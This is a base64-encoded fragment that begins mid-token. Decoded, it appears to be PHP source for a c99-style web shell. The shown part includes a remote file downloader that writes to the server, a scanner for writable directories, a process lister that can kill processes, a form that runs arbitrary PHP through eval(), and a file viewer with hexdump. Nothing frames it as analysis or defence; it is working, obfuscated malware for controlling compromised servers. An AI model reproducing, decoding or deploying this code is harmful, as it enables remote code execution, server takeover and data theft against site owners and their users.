nOw0KICAgIHdoaWxlICghZmVvZigkaGFuZGxlKSkgew0KICAgICAgJGNvbnRlbnRzIC49IGZyZWFkKCRoYW5kbGUsIDgxOTIpOw0KICAgIH0NCiAgICAkciA9IEBmb3BlbigkZC4kYXJnMiwndycpOw0KICAgIGlmIChmd3JpdGUoJHIsJGNvbnRlbnRzKSkgeyBlY2hvICI8Yj5TdWNjZXNzITwvYj4gJGFyZzEgc2F2ZWQgdG8gIi4kZC4kYXJnMi4iICgiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkZC4kYXJnMikpLiIpIjsgfQ0KICAgIGVsc2UgeyBlY2hvICI8ZGl2IGNsYXNzPWZ4ZXJybXNnPkNvdWxkbid0IHdyaXRlIHRvICIuJGQuJGFyZzIuIiE8L2Rpdj4iOyB9DQogICAgZmNsb3NlKCRyKTsNCiAgICBmY2xvc2UoJGhhbmRsZSk7DQogIH0NCiAgZWxzZWlmICgkZnNmdW5jPT0iZG93bmxvYWQiKSB7DQogICAgJHRleHQgPSBpbXBsb2RlKCcnLCBmaWxlKCRhcmcxKSk7DQogICAgaWYgKCR0ZXh0KSB7DQogICAgICAkciA9IEBmb3BlbigkZC4kYXJnMiwndycpOw0KICAgICAgaWYgKGZ3cml0ZSgkciwkdGV4dCkpIHsgZWNobyAiPGI+U3VjY2VzcyE8L2I+ICRhcmcxIHNhdmVkIHRvICIuJGQuJGFyZzIuIiAoIi52aWV3X3NpemUoZmlsZXNpemUoJGQuJGFyZzIpKS4iKSI7IH0NCiAgICAgIGVsc2UgeyBlY2hvICI8ZGl2IGNsYXNzPWZ4ZXJybXNnPkNvdWxkbid0IHdyaXRlIHRvICIuJGQuJGFyZzIuIiE8L2Rpdj4iOyB9DQogICAgICBmY2xvc2UoJHIpOw0KICAgIH0NCiAgICBlbHNlIHsgZWNobyAiPGRpdiBjbGFzcz1meGVycm1zZz5Db3VsZG4ndCBkb3dubG9hZCBmcm9tICRhcmcxITwvZGl2PiI7fQ0KICB9DQogIGVsc2VpZiAoJGZzZnVuYz09J21rZGlyJykgew0KICAgICR0aGVkaXIgPSAkZC4kYXJnMTsNCiAgICBpZiAoJHRoZWRpciAhPSAkZCkgew0KICAgICAgaWYgKGZpbGVfZXhpc3RzKCR0aGVkaXIpKSB7IGVjaG8gIjxiPkFscmVhZHkgZXhpc3RzOjwvYj4gIi5odG1sc3BlY2lhbGNoYXJzKCR0aGVkaXIpOyB9DQogICAgICBlbHNlaWYgKCFta2RpcigkdGhlZGlyKSkgeyBlY2hvICI8Yj5BY2Nlc3MgZGVuaWVkOjwvYj4gIi5odG1sc3BlY2lhbGNoYXJzKCR0aGVkaXIpOyB9DQogICAgICBlbHNlIHsgZWNobyAiPGI+RGlyIGNyZWF0ZWQ6PC9iPiAiLmh0bWxzcGVjaWFsY2hhcnMoJHRoZWRpcik7fQ0KDQogICAgfQ0KICAgIGVsc2UgeyBlY2hvICJDb3VsZG4ndCBjcmVhdGUgY3VycmVudCBkaXI6PGI+ICR0aGVkaXI8L2I+IjsgfQ0KICB9DQogIGVsc2VpZiAoJGZzZnVuYz09J2Z3cml0YWJsZWRpcicpIHsNCiAgICBmdW5jdGlvbiByZWN1cnNlX2RpcigkZGlyLCRtYXhfZGlyKSB7DQogICAgICBnbG9iYWwgJGRpcl9jb3VudDsNCiAgICAgICRkaXJfY291bnQrKzsNCiAgICAgIGlmKCAkY2RpciA9IEBkaXIoJGRpcikgKSB7DQogICAgICAgIHdoaWxlKCAkZW50cnkgPSAkY2Rpci0+IHJlYWQoKSApIHsNCiAgICAgICAgICBpZiggJGVudHJ5ICE9ICcuJyAmJiAkZW50cnkgIT0gJy4uJyApIHsNCiAgICAgICAgICAgIGlmKGlzX2RpcigkZGlyLiRlbnRyeSkgJiYgaXNfd3JpdGFibGUoJGRpci4kZW50cnkpICkgew0KICAgICAgICAgICAgIGlmICgkZGlyX2NvdW50ID4gJG1heF9kaXIpIHsgcmV0dXJuOyB9DQogICAgICAgICAgICAgIGVjaG8gIlsiLiRkaXJfY291bnQuIl0gIi4kZGlyLiRlbnRyeS4iXG4iOw0KICAgICAgICAgICAgICByZWN1cnNlX2RpcigkZGlyLiRlbnRyeS5ESVJFQ1RPUllfU0VQQVJBVE9SLCRtYXhfZGlyKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJGNkaXItPmNsb3NlKCk7DQogICAgICB9DQogICAgfQ0KICAgIGlmICghJGFyZzEpIHsgJGFyZzEgPSAkZDsgfQ0KICAgIGlmICghJGFyZzIpIHsgJGFyZzIgPSAxMDsgfQ0KICAgIGVjaG8gIjxiPldyaXRhYmxlIGRpcmVjdG9yaWVzIChNYXg6ICRhcmcyKSBpbjo8L2I+ICRhcmcxPGJyPiI7DQogICAgZWNobyAiPHByZT4iOw0KICAgIHJlY3Vyc2VfZGlyKCRhcmcxLCRhcmcyKTsNCiAgICBlY2hvICI8L3ByZT4iOw0KICAgICR0b3RhbCA9ICRkaXJfY291bnQgLSAxOw0KICAgIGVjaG8gIjxiPkZvdW5kczo8L2I+ICIuJHRvdGFsLiIgb2YgPGI+TWF4PC9iPiAkYXJnMiI7DQogIH0NCiAgZWxzZSB7DQogICAgaWYgKCEkYXJnMSkgeyBlY2hvICI8ZGl2IGNsYXNzPWZ4ZXJybXNnPk5vIG9wZXJhdGlvbiEgUGxlYXNlIGZpbGwgcGFyYW1ldGVyIFtBXSE8L2Rpdj5cbiI7IH0NCiAgICBlbHNlIHsNCiAgICAgIGlmICgkaGFzaWwgPSAkZnNmdW5jKCRhcmcxKSkgew0KICAgICAgICBlY2hvICI8Yj5SZXN1bHQgb2YgJGZzZnVuYyAkYXJnMTo8L2I+PGJyPiI7DQogICAgICAgIGlmICghaXNfYXJyYXkoJGhhc2lsKSkgeyBlY2hvICIkaGFzaWxcbiI7IH0NCiAgICAgICAgZWxzZSB7DQogICAgICAgICAgZWNobyAiPHByZT4iOw0KICAgICAgICAgIGZvcmVhY2ggKCRoYXNpbCBhcyAkdikgeyBlY2hvICR2LiJcbiI7IH0NCiAgICAgICAgICBlY2hvICI8L3ByZT4iOw0KICAgICAgICB9DQogICAgICB9DQogICAgICBlbHNlIHsgZWNobyAiPGRpdiBjbGFzcz1meGVycm1zZz4kZnNmdW5jICRhcmcxIGZhaWxlZCE8L2Rpdj5cbiI7IH0NCiAgICB9DQogIH0NCiAgZWNobyAiPC9kaXY+XG4iOw0KfQ0KaWYgKCR4ID09ICJwcm9jZXNzZXMiKSB7DQogIGVjaG8gIjxkaXYgY2xhc3M9YmFyaGVhZGVyPi46IFByb2Nlc3NlcyA6LjwvZGl2PiI7DQogIGlmICghJHdpbikgeyAkaGFuZGxlciA9ICJwcyAtYXV4Ii4oJGdyZXA/IiB8IGdyZXAgJyIuYWRkc2xhc2hlcygkZ3JlcCkuIiciOiIiKTsgfQ0KICBlbHNlIHsgJGhhbmRsZXIgPSAidGFza2xpc3QiOyB9DQogICRyZXQgPSBteXNoZWxsZXhlYygkaGFuZGxlcik7DQogIGlmICghJHJldCkgeyBlY2hvICJDYW4ndCBleGVjdXRlIFwiIi4kaGFuZGxlci4iXCIhIjsgfQ0KICBlbHNlIHsNCiAgICBpZiAoZW1wdHkoJHByb2Nlc3Nlc19zb3J0KSkgeyRwcm9jZXNzZXNfc29ydCA9ICRzb3J0X2RlZmF1bHQ7fQ0KICAgICRwYXJzZXNvcnQgPSBwYXJzZXNvcnQoJHByb2Nlc3Nlc19zb3J0KTsNCiAgICBpZiAoIWlzX251bWVyaWMoJHBhcnNlc29ydFswXSkpIHskcGFyc2Vzb3J0WzBdID0gMDt9DQogICAgJGsgPSAkcGFyc2Vzb3J0WzBdOw0KICAgIGlmICgkcGFyc2Vzb3J0WzFdICE9ICJhIikgew0KICAgICAgJHkgPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRrLiJhXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9c29ydF9kZXNjXCIgYm9yZGVyPVwiMFwiPjwvYT4iOw0KICAgIH0NCiAgICBlbHNlIHsNCiAgICAgICR5ID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kay4iZFwiPjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPXNvcnRfYXNjXCIgaGVpZ2h0PVwiOVwiIHdpZHRoPVwiMTRcIiBib3JkZXI9XCIwXCI+PC9hPiI7DQogICAgfQ0KICAgICRyZXQgPSBodG1sc3BlY2lhbGNoYXJzKCRyZXQpOw0KICAgIGlmICghJHdpbikgew0KICAgICAgaWYgKCRwaWQpIHsNCiAgICAgICAgaWYgKGlzX251bGwoJHNpZykpIHskc2lnID0gOTt9DQogICAgICAgIGVjaG8gIlNlbmRpbmcgc2lnbmFsICIuJHNpZy4iIHRvICMiLiRwaWQuIi4uLiAiOw0KICAgICAgICBpZiAocG9zaXhfa2lsbCgkcGlkLCRzaWcpKSB7ZWNobyAiT0suIjt9DQogICAgICAgIGVsc2Uge2VjaG8gIkVSUk9SLiI7fQ0KICAgICAgfQ0KICAgICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIgIiwkcmV0KTt9DQogICAgICAkc3RhY2sgPSBleHBsb2RlKCJcbiIsJHJldCk7DQogICAgICAkaGVhZCA9IGV4cGxvZGUoIiAiLCRzdGFja1swXSk7DQogICAgICB1bnNldCgkc3RhY2tbMF0pOw0KICAgICAgZm9yKCRpPTA7JGk8Y291bnQoJGhlYWQpOyRpKyspIHsNCiAgICAgICAgaWYgKCRpICE9ICRrKSB7JGhlYWRbJGldID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kaS4kcGFyc2Vzb3J0WzFdLiJcIj48Yj4iLiRoZWFkWyRpXS4iPC9iPjwvYT4iO30NCiAgICAgIH0NCiAgICAgICRwcmNzID0gYXJyYXkoKTsNCiAgICAgIGZvcmVhY2ggKCRzdGFjayBhcyAkbGluZSkgew0KICAgICAgICBpZiAoIWVtcHR5KCRsaW5lKSkgew0KICAgICAgICAgIGVjaG8gIjx0cj4iOw0KICAgICAgICAgICRsaW5lID0gZXhwbG9kZSgiICIsJGxpbmUpOw0KICAgICAgICAgICRsaW5lWzEwXSA9IGpvaW4oIiAiLGFycmF5X3NsaWNlKCRsaW5lLDEwKSk7DQogICAgICAgICAgJGxpbmUgPSBhcnJheV9zbGljZSgkbGluZSwwLDExKTsNCiAgICAgICAgICBpZiAoJGxpbmVbMF0gPT0gZ2V0X2N1cnJlbnRfdXNlcigpKSB7JGxpbmVbMF0gPSAiPGZvbnQgY29sb3I9Z3JlZW4+Ii4kbGluZVswXS4iPC9mb250PiI7fQ0KICAgICAgICAgICRsaW5lW10gPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9cHJvY2Vzc2VzJmQ9Ii51cmxlbmNvZGUoJGQpLiImcGlkPSIuJGxpbmVbMV0uIiZzaWc9OVwiPjx1PktJTEw8L3U+PC9hPiI7DQogICAgICAgICAgJHByY3NbXSA9ICRsaW5lOw0KICAgICAgICAgIGVjaG8gIjwvdHI+IjsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgIH0NCiAgICBlbHNlIHsNCiAgICAgIHdoaWxlIChlcmVnKCIgICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwiICIsJHJldCk7fQ0KICAgICAgd2hpbGUgKGVyZWcoIj0iLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCI9IiwiIiwkcmV0KTt9DQogICAgICAkcmV0ID0gY29udmVydF9jeXJfc3RyaW5nKCRyZXQsImQiLCJ3Iik7DQogICAgICAkc3RhY2sgPSBleHBsb2RlKCJcbiIsJHJldCk7DQogICAgICB1bnNldCgkc3RhY2tbMF0sJHN0YWNrWzJdKTsNCiAgICAgICRzdGFjayA9IGFycmF5X3ZhbHVlcygkc3RhY2spOw0KICAgICAgJHN0YWNrWzBdPXN0cl9yZXBsYWNlKCJJbWFnZSBOYW1lIiwiSW1hZ2VOYW1lIiwkc3RhY2tbMF0pOw0KICAgICAgJHN0YWNrWzBdPXN0cl9yZXBsYWNlKCJTZXNzaW9uIE5hbWUiLCJTZXNzaW9uTmFtZSIsJHN0YWNrWzBdKTsNCiAgICAgICRzdGFja1swXT1zdHJfcmVwbGFjZSgiTWVtIFVzYWdlIiwiTWVtb3J5VXNhZ2UiLCRzdGFja1swXSk7DQogICAgICAkaGVhZCA9IGV4cGxvZGUoIiAiLCRzdGFja1swXSk7DQogICAgICAkc3RhY2sgPSBhcnJheV9zbGljZSgkc3RhY2ssMSk7DQogICAgICAkaGVhZCA9IGFycmF5X3ZhbHVlcygkaGVhZCk7DQogICAgICBpZiAoJHBhcnNlc29ydFsxXSAhPSAiYSIpIHsgJHkgPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRrLiJhXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9c29ydF9kZXNjXCIgYm9yZGVyPVwiMFwiPjwvYT4iOyB9DQogICAgICBlbHNlIHsgJHkgPSAiPGEgaHJlZj1cIiIuJHN1cmwuIng9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRrLiJkXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9c29ydF9hc2NcIiBib3JkZXI9XCIwXCI+PC9hPiI7IH0NCiAgICAgIGlmICgkayA+IGNvdW50KCRoZWFkKSkgeyRrID0gY291bnQoJGhlYWQpLTE7fQ0KICAgICAgZm9yKCRpPTA7JGk8Y291bnQoJGhlYWQpOyRpKyspIHsNCiAgICAgICAgaWYgKCRpICE9ICRrKSB7ICRoZWFkWyRpXSA9ICI8YSBocmVmPVwiIi4kc3VybC4ieD0iLiRkc3BhY3QuIiZkPSIudXJsZW5jb2RlKCRkKS4iJnByb2Nlc3Nlc19zb3J0PSIuJGkuJHBhcnNlc29ydFsxXS4iXCI+PGI+Ii50cmltKCRoZWFkWyRpXSkuIjwvYj48L2E+IjsgfQ0KICAgICAgfQ0KICAgICAgJHByY3MgPSBhcnJheSgpOw0KICAgICAgdW5zZXQoJHN0YWNrWzBdKTsNCiAgICAgIGZvcmVhY2ggKCRzdGFjayBhcyAkbGluZSkgew0KICAgICAgICBpZiAoIWVtcHR5KCRsaW5lKSkgew0KICAgICAgICAgICRsaW5lID0gZXhwbG9kZSgiICIsJGxpbmUpOw0KICAgICAgICAgICRsaW5lWzRdID0gc3RyX3JlcGxhY2UoIi4iLCIiLCRsaW5lWzRdKTsNCiAgICAgICAgICAkbGluZVs0XSA9IGludHZhbCgkbGluZVs0XSkgKiAxMDI0Ow0KICAgICAgICAgIHVuc2V0KCRsaW5lWzVdKTsNCiAgICAgICAgICAkcHJjc1tdID0gJGxpbmU7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICB9DQogICAgJGhlYWRbJGtdID0gIjxiPiIuJGhlYWRbJGtdLiI8L2I+Ii4keTsNCiAgICAkdiA9ICRwcm9jZXNzZXNfc29ydFswXTsNCiAgICB1c29ydCgkcHJjcywidGFic29ydCIpOw0KICAgIGlmICgkcHJvY2Vzc2VzX3NvcnRbMV0gPT0gImQiKSB7JHByY3MgPSBhcnJheV9yZXZlcnNlKCRwcmNzKTt9DQogICAgJHRhYiA9IGFycmF5KCk7DQogICAgJHRhYltdID0gJGhlYWQ7DQogICAgJHRhYiA9IGFycmF5X21lcmdlKCR0YWIsJHByY3MpOw0KICAgIGVjaG8gIjx0YWJsZSBjbGFzcz1leHBsb3Jlcj4iOw0KICAgIGZvcmVhY2goJHRhYiBhcyAkaT0+JGspIHsNCiAgICAgIGVjaG8gIjx0cj4iOw0KICAgICAgZm9yZWFjaCgkayBhcyAkaj0+JHYpIHsNCiAgICAgICAgaWYgKCR3aW4gYW5kICRpID4gMCBhbmQgJGogPT0gNCkgeyR2ID0gdmlld19zaXplKCR2KTt9DQogICAgICAgIGVjaG8gIjx0ZD4iLiR2LiI8L3RkPiI7DQogICAgICB9DQogICAgICBlY2hvICI8L3RyPiI7DQogICAgfQ0KICAgIGVjaG8gIjwvdGFibGU+IjsNCiAgfQ0KfQ0KaWYgKCR4ID09ICJldmFsIikgew0KICBpZiAoIWVtcHR5KCRldmFsKSkgew0KICAgIGVjaG8gIlJlc3VsdCBvZiBleGVjdXRpb24gdGhpcyBQSFAtY29kZTo8YnI+IjsNCiAgICAkdG1wID0gb2JfZ2V0X2NvbnRlbnRzKCk7DQogICAgJG9sZGRpciA9IHJlYWxwYXRoKCIuIik7DQogICAgQGNoZGlyKCRkKTsNCiAgICBpZiAoJHRtcCkgew0KICAgICAgb2JfY2xlYW4oKTsNCiAgICAgIGV2YWwoJGV2YWwpOw0KICAgICAgJHJldCA9IG9iX2dldF9jb250ZW50cygpOw0KICAgICAgJHJldCA9IGNvbnZlcnRfY3lyX3N0cmluZygkcmV0LCJkIiwidyIpOw0KICAgICAgb2JfY2xlYW4oKTsNCiAgICAgIGVjaG8gJHRtcDsNCiAgICAgIGlmICgkZXZhbF90eHQpIHsNCiAgICAgICAgJHJvd3MgPSBjb3VudChleHBsb2RlKCJcclxuIiwkcmV0KSkrMTsNCiAgICAgICAgaWYgKCRyb3dzIDwgMTApIHskcm93cyA9IDEwO30NCiAgICAgICAgZWNobyAiPGJyPjx0ZXh0YXJlYSBjb2xzPVwiMTIyXCIgcm93cz1cIiIuJHJvd3MuIlwiIHJlYWRvbmx5PiIuaHRtbHNwZWNpYWxjaGFycygkcmV0KS4iPC90ZXh0YXJlYT4iOw0KICAgICAgfQ0KICAgICAgZWxzZSB7ZWNobyAkcmV0LiI8YnI+Ijt9DQogICAgfQ0KICAgIGVsc2Ugew0KICAgICAgaWYgKCRldmFsX3R4dCkgew0KICAgICAgICBlY2hvICI8YnI+PHRleHRhcmVhIGNvbHM9XCIxMjJcIiByb3dzPVwiMTVcIiByZWFkb25seT4iOw0KICAgICAgICBldmFsKCRldmFsKTsNCiAgICAgICAgZWNobyAiPC90ZXh0YXJlYT4iOw0KICAgICAgfQ0KICAgICAgZWxzZSB7ZWNobyAkcmV0O30NCiAgICB9DQogICAgQGNoZGlyKCRvbGRkaXIpOw0KICB9DQogIGVsc2Uge2VjaG8gIjxiPlBIUC1jb2RlIEV4ZWN1dGlvbiAoVXNlIHdpdGhvdXQgUEhQIEJyYWNlcyEpPC9iPiI7IGlmIChlbXB0eSgkZXZhbF90eHQpKSB7JGV2YWxfdHh0ID0gVFJVRTt9fQ0KICBlY2hvICI8Zm9ybSBhY3Rpb249XCIiLiRzdXJsLiJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14IHZhbHVlPWV2YWw+PHRleHRhcmVhIG5hbWU9XCJldmFsXCIgY29scz1cIjEyMlwiIHJvd3M9XCIxMFwiPiIuaHRtbHNwZWNpYWxjaGFycygkZXZhbCkuIjwvdGV4dGFyZWE+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJkXCIgdmFsdWU9XCIiLiRkaXNwZC4iXCI+PGJyPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9XCJFeGVjdXRlXCI+Jm5ic3A7RGlzcGxheSBpbiB0ZXh0LWFyZWEmbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImV2YWxfdHh0XCIgdmFsdWU9XCIxXCIiOyBpZiAoJGV2YWxfdHh0KSB7ZWNobyAiIGNoZWNrZWQiO30gZWNobyAiPjwvZm9ybT4iOw0KfQ0KaWYgKCR4ID09ICJmIikgew0KICBlY2hvICI8ZGl2IGFsaWduPWxlZnQ+IjsNCiAgaWYgKCghaXNfcmVhZGFibGUoJGQuJGYpIG9yIGlzX2RpcigkZC4kZikpIGFuZCAkZnQgIT0gImVkaXQiKSB7DQogICAgaWYgKGZpbGVfZXhpc3RzKCRkLiRmKSkge2VjaG8gIjxjZW50ZXI+PGI+UGVybWlzaW9uIGRlbmllZCAoIi5odG1sc3BlY2lhbGNoYXJzKCRkLiRmKS4iKSE8L2I+PC9jZW50ZXI+Ijt9DQogICAgZWxzZSB7ZWNobyAiPGNlbnRlcj48Yj5GaWxlIGRvZXMgbm90IGV4aXN0cyAoIi5odG1sc3BlY2lhbGNoYXJzKCRkLiRmKS4iKSE8L2I+PGJyPjxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1lZGl0JmQ9Ii51cmxlbmNvZGUoJGQpLiImYz0xXCI+PHU+Q3JlYXRlPC91PjwvYT48L2NlbnRlcj4iO30NCiAgfQ0KICBlbHNlIHsNCiAgICAkciA9IEBmaWxlX2dldF9jb250ZW50cygkZC4kZik7DQogICAgJGV4dCA9IGV4cGxvZGUoIi4iLCRmKTsNCiAgICAkYyA9IGNvdW50KCRleHQpLTE7DQogICAgJGV4dCA9ICRleHRbJGNdOw0KICAgICRleHQgPSBzdHJ0b2xvd2VyKCRleHQpOw0KICAgICRyZnQgPSAiIjsNCiAgICBmb3JlYWNoKCRmdHlwZXMgYXMgJGs9PiR2KSB7aWYgKGluX2FycmF5KCRleHQsJHYpKSB7JHJmdCA9ICRrOyBicmVhazt9fQ0KICAgIGlmIChlcmVnaSgic2Vzc18oLiopIiwkZikpIHskcmZ0ID0gInBocHNlc3MiO30NCiAgICBpZiAoZW1wdHkoJGZ0KSkgeyRmdCA9ICRyZnQ7fQ0KICAgICRhcnIgPSBhcnJheSgNCiAgICAgICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWV4dF9kaXpcIiBib3JkZXI9XCIwXCI+IiwiaW5mbyIpLA0KICAgICAgICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9ZXh0X2h0bWxcIiBib3JkZXI9XCIwXCI+IiwiaHRtbCIpLA0KICAgICAgICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9ZXh0X3R4dFwiIGJvcmRlcj1cIjBcIj4iLCJ0eHQiKSwNCiAgICAgICAgYXJyYXkoIkNvZGUiLCJjb2RlIiksDQogICAgICAgIGFycmF5KCJTZXNzaW9uIiwicGhwc2VzcyIpLA0KICAgICAgICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9ZXh0X2V4ZVwiIGJvcmRlcj1cIjBcIj4iLCJleGUiKSwNCiAgICAgICAgYXJyYXkoIlNEQiIsInNkYiIpLA0KICAgICAgICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9ZXh0X2dpZlwiIGJvcmRlcj1cIjBcIj4iLCJpbWciKSwNCiAgICAgICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4ieD1pbWcmaW1nPWV4dF9pbmlcIiBib3JkZXI9XCIwXCI+IiwiaW5pIiksDQogICAgICAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1kb3dubG9hZFwiIGJvcmRlcj1cIjBcIj4iLCJkb3dubG9hZCIpLA0KICAgICAgICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9ZXh0X3J0ZlwiIGJvcmRlcj1cIjBcIj4iLCJub3RlcGFkIiksDQogICAgICAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1jaGFuZ2VcIiBib3JkZXI9XCIwXCI+IiwiZWRpdCIpDQogICAgKTsNCiAgICBlY2hvICI8Yj5WaWV3aW5nIGZpbGU6Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9ZXh0XyIuJGV4dC4iXCIgYm9yZGVyPVwiMFwiPiZuYnNwOyIuJGYuIiAoIi52aWV3X3NpemUoZmlsZXNpemUoJGQuJGYpKS4iKSAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiLnZpZXdfcGVybXNfY29sb3IoJGQuJGYpLiI8L2I+PGJyPlNlbGVjdCBhY3Rpb24vZmlsZS10eXBlOjxicj4iOw0KICAgIGZvcmVhY2goJGFyciBhcyAkdCkgew0KICAgICAgaWYgKCR0WzFdID09ICRyZnQpIHtlY2hvICIgPGEgaHJlZj1cIiIuJHN1cmwuIng9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PSIuJHRbMV0uIiZkPSIudXJsZW5jb2RlKCRkKS4iXCI+PGZvbnQgY29sb3I9Z3JlZW4+Ii4kdFswXS4iPC9mb250PjwvYT4iO30NCiAgICAgIGVsc2VpZiAoJHRbMV0gPT0gJGZ0KSB7ZWNobyAiIDxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD0iLiR0WzFdLiImZD0iLnVybGVuY29kZSgkZCkuIlwiPjxiPjx1PiIuJHRbMF0uIjwvdT48L2I+PC9hPiI7fQ0KICAgICAgZWxzZSB7ZWNobyAiIDxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD0iLiR0WzFdLiImZD0iLnVybGVuY29kZSgkZCkuIlwiPjxiPiIuJHRbMF0uIjwvYj48L2E+Ijt9DQogICAgICBlY2hvICIgKDxhIGhyZWY9XCIiLiRzdXJsLiJ4PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD0iLiR0WzFdLiImd2hpdGU9MSZkPSIudXJsZW5jb2RlKCRkKS4iXCIgdGFyZ2V0PVwiX2JsYW5rXCI+KzwvYT4pIHwiOw0KICAgIH0NCiAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPiI7DQogICAgaWYgKCRmdCA9PSAiaW5mbyIpIHsNCiAgICAgIGVjaG8gIjxiPkluZm9ybWF0aW9uOjwvYj48dGFibGUgYm9yZGVyPTAgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yPjx0cj48dGQ+PGI+UGF0aDwvYj48L3RkPjx0ZD4gIi4kZC4kZi4iPC90ZD48L3RyPjx0cj48dGQ+PGI+U2l6ZTwvYj48L3RkPjx0ZD4gIi52aWV3X3NpemUoZmlsZXNpemUoJGQuJGYpKS4iPC90ZD48L3RyPjx0cj48dGQ+PGI+TUQ1PC9iPjwvdGQ+PHRkPiAiLm1kNV9maWxlKCRkLiRmKS4iPC90ZD48L3RyPiI7DQogICAgICBpZiAoISR3aW4pIHsNCiAgICAgICAgZWNobyAiPHRyPjx0ZD48Yj5Pd25lci9Hcm91cDwvYj48L3RkPjx0ZD4gIjsNCiAgICAgICAgJG93ID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRkLiRmKSk7DQogICAgICAgICRnciA9IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkZC4kZikpOw0KICAgICAgICBlY2hvICgkb3dbIm5hbWUiXT8kb3dbIm5hbWUiXTpmaWxlb3duZXIoJGQuJGYpKS4iLyIuKCRnclsibmFtZSJdPyRnclsibmFtZSJdOmZpbGVncm91cCgkZC4kZikpOw0KICAgICAgfQ0KICAgICAgZWNobyAiPHRyPjx0ZD48Yj5QZXJtczwvYj48L3RkPjx0ZD48YSBocmVmPVwiIi4kc3VybC4ieD1jaG1vZCZmPSIudXJsZW5jb2RlKCRmKS4iJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj4iLnZpZXdfcGVybXNfY29sb3IoJGQuJGYpLiI8L2E+PC90ZD48L3RyPjx0cj48dGQ+PGI+Q3JlYXRlIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVjdGltZSgkZC4kZikpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5BY2Nlc3MgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZWF0aW1lKCRkLiRmKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPk1PRElGWSB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlbXRpbWUoJGQuJGYpKS4iPC90ZD48L3RyPjwvdGFibGU+IjsNCiAgICAgICRmaSA9IGZvcGVuKCRkLiRmLCJyYiIpOw0KICAgICAgaWYgKCRmaSkgew0KICAgICAgICBpZiAoJGZ1bGxoZXhkdW1wKSB7ZWNobyAiPGI+RlVMTCBIRVhEVU1QPC9iPiI7ICRzdHIgPSBmcmVhZCgkZmksZmlsZXNpemUoJGQuJGYpKTt9DQogICAgICAgIGVsc2Uge2VjaG8gIjxiPkhFWERVTVAgUFJFVklFVzwvYj4iOyAkc3RyID0gZnJlYWQoJGZpLCRoZXhkdW1wX2xpbmVzKiRoZXhkdW1wX3Jvd3MpO30NCiAgICAgICAgJG4gPSAwOw0KICAgICAgICAkYTAgPSAiMDAwMDAwMDA8YnI+IjsNCiAgICAgICAgJGExID0gIiI7DQogICAgICAgICRhMiA9ICIiOw0K